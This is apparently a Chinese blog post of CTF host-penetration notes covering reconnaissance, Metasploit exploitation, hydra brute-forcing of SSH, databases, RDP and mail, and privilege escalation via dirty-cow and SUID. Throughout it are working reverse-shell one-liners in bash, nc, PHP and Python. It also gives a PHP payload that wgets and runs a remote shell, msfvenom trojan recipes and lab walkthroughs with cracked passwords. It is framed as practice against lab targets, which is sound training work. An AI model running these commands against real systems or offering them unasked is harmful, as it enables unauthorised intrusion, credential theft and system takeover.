CTF-主机渗透测试

优秀的人,不是不合群,而是他们合群的人里面没有你

解题思路

  1. 信息收集,包括nmap扫描端口,网站dirsearch和dirb两个一起扫描试试看,然后whatweb看看用的啥cms
  2. 对IP的扫描结果整理好,nmap结果重点看能否爆破登陆,用fscan跑一下,内存不够就不用nessus了
  3. 对web的结果整理好,查看一下源代码,用awvs跑一下
  4. 整理好资产,cms,服务等等,在msf和searchsploit中搜索一下看有没有问题,msf有的话直接打,searchsploit有的话,查看一下怎么利用
  5. 需要注意的有:

    shell要切换到tmp目录下
    chmod添加权限也别忘
    有时候实在不方便,就上传socat在玩

  1. getshell后就是提权一把锁哈套路上传socat,Linux信息一键收集脚本,然后用SUDO -i提权,不行的话就sudo ./目录下的文件,不行再SUID提权,不行再cve提权(两个脏牛挺好用),还是不行在内核提权。

找flag要注意的地方

1. WEB-    flag通常会隐藏在phpinfo页面,所以能弄出来就试一下phpinfo,如果没有phpinfo,就写一个文件进去访问  <?phpinfo();?>
2. WEB-    有目录文件包含漏洞,就模糊测试一下flag位置
3. WEB-    重点要注意的是,web浏览器要经常F12看看网页源代码,可能隐藏flag
4. WEB-    一定要扫描目录,然后下载查看敏感信息
5. SHELL-  grep -r flag{ / 2>/dev/null
6. SHELL-  find / -name flag*
7. SHELL-  cat * | grep flag
8. SHELL-  env 查看虚拟环境有没有信息
9. SHELL-  find / -name *flag*.txt

渗透流程:

  1. 确定网段信息 (kali:ifconfig)
  2. 同网段内主机存活性扫描 (nmap 192.168.33.1/24)
  3. 分析陌生IP地址,确定目标主机IP

信息收集

首先扫描网段存活的IP,用如下命令:

 nmap –sp 192.168.12.0/24
nmap -sS 192.168.1.*  // 这条命令更好用!!

找到可疑存活的ip后,用这个命令看看开放的端口

nmap -p- -sV 192.168.33.145
nmap -sS -sV -p- -A 192.168.33.145 // 这条命令更好用!!

扫描之后,哪些端口开放,运行哪些服务需要有个底,博客有相关的端口服务对照表,然后就测试一下对应的服务是不是有问题,得用msf了

如果是web类的题目,主要是扫描目录,仔细看看网页源代码~多用点工具

python dirsearch -u "http://192.168.33.148:1898/" -e *

dirb http://192.168.33.148:1898/

爬个用来爆破的字典:

cewl http://192.168.33.148:1898/ -w pass.txt

用来爆破用

漏洞扫描

扫描完毕后,看看哪些服务是可以爆破的哈~弱口令之类的,爆破一把~

收集完毕信息,就上工具一把锁哈试一试

fscan
fvuln
g0by

就这三个,基本上随便测试一下,不要用太多工具浪费时间。web类的awvs和nessus以及xray采用得多。

一般来说,能出一些弱口令的数据库,然后nessus是好东西,跑出来的数据怎么利用呢?

看看这里

第一步找到这里比较危险的漏洞

点击进去,使用有道翻译一下漏洞描述~~有时候有弱口令,有时候有msf能用的cve漏洞,在这里

看这个端口运行的服务,记住这个服务,可以在msf搜索相关的服务的关键词比如irc

不过我建议用nmap扫描端口获取它返回的banner,这样服务的名字就更加全面

运气好会在右下角帮你标注出来

MSF漏洞测试

要是扫描器没能跑出结果,就在msf手动一个一个测试exp看看能不能用

第一步

搜索服务

比如nmap扫描结果其中有

6667/tcp open  irc         UnrealIRCd

那就启动msf,然后搜索irc或者realircd这样

有时候只有一个,有时候很多个,有时候找不到。找不到就修改关键词再找找,和多个就看看尽量是multi/linux这种类型和目标机器一样的,目标机器win就用win的exp。

第二步

选择攻击模块

第一步找到exp后,选择攻击模块,进来选择rank区是excellent类型的exp,危害大爽歪歪。看到对应的编号,选择它

use 0

第三步

查看配置参数

使用命令

show options

查看需要配置的参数

标红的就是需要修改的,因为上面写了yes嘛,这样修改

set rhosts 目标ip

修改完成后再show options看看是不是写全了

注意了,一般来说

RHOSTS: 目标ip
RPORT:  目标服务端口
LHOSTS: 本地监听的ip
LPORT:  本地监听的端口,不要和本地服务的端口冲突
SERVHOST: 本地转发的IP,就是本地IP
SERVPORT: 本地转发监听的端口,就是本地端口,但是需要注意不要和RPORT重复冲突

第四步

直接运行,使用命令

run

然后就可以拿到权限了,输入whoami,这样常见的比如

find / -name flag*
find / -name *flag

如果命令输入不好看,用这个命令就可以舒服一下

python -c 'import pty;pty.spawn("/bin/bash");'

不好用就用这个命令

shell

如果发现执行失败了,可能有两个原因,第一个是exp不对,毕竟search的时候可能搜索一大堆,不对是常见的情况,换个exp,另一个可能就是当前exp的payload不对,一个exp有多个payload,换个payload试一试看,使用命令

show payloads
set payload  0

然后再run试一试

第五步完事儿

ctrl+c退出,然后输入

back

回退,就可以继续测试别的IP了

弱口令漏洞测试

这里主要是根据第一步nmap的结果,对已知的数据库进行爆破,说一下hydra怎么用的吧

首先要准备账号密码的字典username.txt和password.txt,爆破很简单,固定格式

hydra -l 用户名 -P 密码字典 -s 3306 192.168.31.173 mysql
hydra -l root -P xxx.txt mysql://192.168.31.173:3306

hydra -L usrname.txt -P password.txt 192.168.31.173 ssh

-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为“user:password”的字典文件
-e
n null,表示尝试空密码
s same,把用户名本身当做密码进行尝试
r 反向,把用户名倒叙,当做密码进行尝试。
-vV 显示执行细节
-o 保存执行结果
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
-t 指定爆破时的任务数量(默认16)

服了,这吊玩意不好用~!!!!还不如FSCAN或者超级弱口令检查工具

服了,这吊玩意不好用~!!!!还不如FSCAN或者超级弱口令检查工具

比如数据库弱口令,无密码登陆等等,爆破进去后,查看flag的数据,这里列举一下这些服务怎么找flag

mysql

MySQL数据库爆破

hydra -l 用户名 -P 密码字典 192.168.31.173 mysql

空口令登陆

mysql –h 192.168.160.131 –u root

mysql -h 192.168.33.145 -uroot --skip-ssl (空口令)

mysql常用数据库语法

show databases;
use 库名;
show tables;
select * from users;

telnet

登陆方式

telnet 192.168.33.145

然后输入账号密码

postgresql

postgresql数据库爆破

hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql

登陆方式

psql -h 192.168.33.145 -U postgres

默认账号密码postgres

vnc

远程桌面,登陆方式

vncviwer 192.168.33.145

输入默认密码password

ssh

爆破

hydra -l root -P pwd.txt 192.168.31.173 ssh

登陆方法

ssh root@192.168.1.75

rdp

远程桌面爆破

hydra -l administrator -P 密码字典 192.168.31.173 rdp

smb

共享文件爆破

hydra -l administrator -P 密码字典 192.168.31.173 smb

ftp

文件传输爆破

hydra -l 用户名 -P 密码字典 192.168.31.173 ftp    

扫描出来匿名登陆,用命令

ftp 192.168.65.130
输入账号 ftp 或者anymonus
密码直接回车不输入

常用命令:

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

pop3

邮箱协议爆破

hydra -l 用户名 -P 密码字典 -s 55007 192.168.1.107 pop3
hydra -l boris -P xxx.txt pop3://192.168.1.107:55007

登陆方式

nc 192.168.1.107
user root
pass 123456

然后查看有哪些邮件

list

查看信息,用命令

retr 1
retr 2

mssql

MSSQL数据库爆破

hydra -l sa -P 密码字典 192.168.31.173 mssql

Oracle数据库

Oracle数据库爆破

hydra -l 用户名 -P 密码字典 192.168.31.173 oracle

redis

Redis数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 redis

连接

redis-cli -h host -p port

如果有密码

redis-cli -h host -p port -a password

查询数据,可以用命令或者工具

使用常见的Redis查询命令来获取数据,例如:
GET <key>:获取指定键的值。
HGET <key> <field>:获取哈希表中指定字段的值。
LINDEX <key> <index>:获取列表中指定索引的元素。
SMEMBERS <key>:获取集合中的所有元素。
ZRANGE <key> <start> <stop>:获取有序集合中指定范围的元素。

反弹shell

一般来说根目录普通用户是没权限查看,/tmp目录一般有权限,然后还的chmod添加权限,有个基础知识

su root
切换到root用户
su user
切换到普通user用户
sudo -i
直接变成root权限

shell优化美容

前提是获取到普通的shell后,开始提升权限

  1. kali的ip–>192.168.65.129
  2. 靶机的ip–>192.168.65.131

反弹shell

也可以直接在msf里面直接shell命令完成

kali:nc -lvvp 4455
监听本地4455端口

这个是最重要的第一步!!

然后就是在靶机上想办法反弹shell出去

可以这样

靶机:bash -i >& /dev/tcp/192.168.65.129/4455 0>&1

靶机:bash -c "bash -i >& /dev/tcp/192.168.65.129/4455 0>&1"

靶机如果有nc

nc -e /bin/sh 192.168.2.130 4444 但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

如果通过网页命令执行漏洞请求执行,需要将命令进行url编码。

除了bash命令,还可以php命令:

<?php
$sock=fsockopen("ip地址",端口);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

怎么用呢?比如有这么一个xx.php文件,内容:

<?php $sock = fsockopen("192.168.65.129", 1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

上传好了,在浏览器访问这个文件,如果这个文件的代码被waf拦截,那就上传这个绕过

<?php system("wget 192.168.65.129:8088/xx.php -O /tmp/shell.php;php /tmp/shell.php");?>

还可以用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

继续浏览器访问

升级shell

升级方法1

kali的nc输入口1:python -c 'import pty;pty.spawn("/bin/bash");'

不好使就试一试

kali的nc输入口1:shell

升级方法2

不太好看,用socat

但是靶机没有socat这个东西,需要共享出去

kali的nc输入口2:python -m http.server 8088
kali的nc输入口1:cd /tmp
/tmp这个吊目录是所有人都可以下载的目录
kali的nc输入口1:wget http://192.168.65.129:8088/socat
/$ 靶机下载下来了
kali的nc输入口1:ls
kali的nc输入口1:chmod +x socat

给socat执行权限

所以等待socat上传好了,就可以使用socat替换nc

kili上面有socat的话,执行命令:./socat file:`tty`,raw,echo=0 tcp-listen:4456
靶机上面有socat的话,执行命令:./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.65.129:4456
然后kali下就可以直接用socat了

升级方法3

蚁剑自带的虚拟终端如果提示必须要用terminal终端,可以用python-c升级终端,如果不好用,最好是在蚁剑上传socat到tmp目录下,然后再kali下运行exp。保险一些。

msfvovem生成木马

-p payload 
-e 编码方式 
-i 编码次数 
-b 在生成的程序中避免出现的值 LHOST,LPORT 监听上线的主机 IP 和端口 
-f 生成 payload 的格式
-l 查看可利用 payload

下面是生成不同类型的木马

## Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
## Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
## Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
## PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
## ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
## JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
## WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
## Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
## Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
## Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

课堂笔记

提权:

反弹shell:

nc -lvvp 1234
bash -i >& /dev/tcp/192.168.33.143/1234 0>&1

升级终端:

python -c 'import pty;pty.spawn("/bin/bash");'

如果出现乱码,

python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo

socat升级终端:

kali: python -m http.sever 2598
kali: ./socat file:`tty`,raw,echo=0 tcp-listen:4444
kali-shell: cd /tmp
            wget http://kali:2598/socat
            chmod +x socat
            ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.33.143:4444

提权:

socat-shell:
    cd /tmp
    wget http://kali:2598/linux-exploit-suggester.sh
    chmod +x linux-exploit-suggester.sh
    ./linux-exploit-suggester.sh(看内核版本、可能提权的漏洞)
kali:
    searchsploit 3.19
    locate linux/local/37292.c
    cp /usr/share/exploitdb/exploits/linux/local/37292.c Templates/tools(共享目录)
    cat 37292.c
socat-shell:
    cd /tmp
    wget http://kali:2598/37292.c
    chmod +x 37292.c
    gcc 37292.c -o ofs
    ./ofs
kali:
    su user
    searchsploit dirty    

suid提权:

find / -perm -4000
网址:https://gtfobins.github.io/
find提权:find test.txt -exec /bin/sh \;

渗透思路:
拍个快照

黑盒:

1.确定网段(保证靶机和kali同样网卡,kali:ifconfig)
2.扫描网段(nmap 192.168.33.1/24)
3.确定目标

打靶机:

扫描端口:nmap -p- -sV 192.168.33.252
80端口:
    测试网站的功能
    目录扫描 (dirb http://192.168.33.252/)

Lampiao:

扫描端口:nmap -p- -sV 192.168.33.252
80端口:
    测试网站的功能:/audio.m4a内容:tiago
    目录扫描 (dirb http://192.168.33.148:1898/)robots.txt==>CHANGELOG.txt(Drupal )
思路一:
    msf:
        search Drupal
        use exploit/unix/webapp/drupal_drupalgeddon2
        set rhost 靶机ip
        set rport 1898
        run
    shell:
        shell
        python -c 'import pty;pty.spawn("/bin/bash")'
    脏牛提权:
        kali:
            searchsploit dirty
            cp 到共享目录
            python -m http.server 2598 (40847.cpp)
        kali-shell:
            cd /tmp
            wget http://kali-ip:2598/40847.cpp
            g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
            ./dcow -s
思路2:
    猜测账号:tiago
    爬个字典:cewl http://192.168.33.148:1898/ -w pass.txt
    爆破ssh:hydra -l tiago -P pass.txt 192.168.33.148 ssh
            得到密码:Virgulino
    登录:ssh tiago@192.168.33.148
    提权同上

zico2:

扫描端口:nmap -p- -sV 192.168.33.149
80端口:
    测试网站的功能:发现文件包含 http://ip/view.php?page=../../../../../etc/passwd
    目录扫描 (dirb http://192.168.33.149) dbadmin页面
弱口令:admin 进入
searchsploit phpLiteAdmin (找到漏洞利用方法)
测试:
creat db --> change db --> creat table --> default(<?php phpinfo();?>)
攻击:
    kali:shell.txt ==>
        <?php $sock = fsockopen("192.168.33.143", 1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
    共享出去
    web:
        creat db --> change db --> creat table --> default()
        default: <?php system("wget 192.168.33.143:2598/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>
提权(dirty):
    shell:
        cd /tmp
        wget 192.168.33.143:2598/dirty.c
        gcc -pthread dirty.c -o dirty -lcrypt
        ./dirty 123
        python -c 'import pty;pty.spawn("/bin/bash");'
        su firefart
        id

cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到wpscan等密码爆破工具里进行密码破解

坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%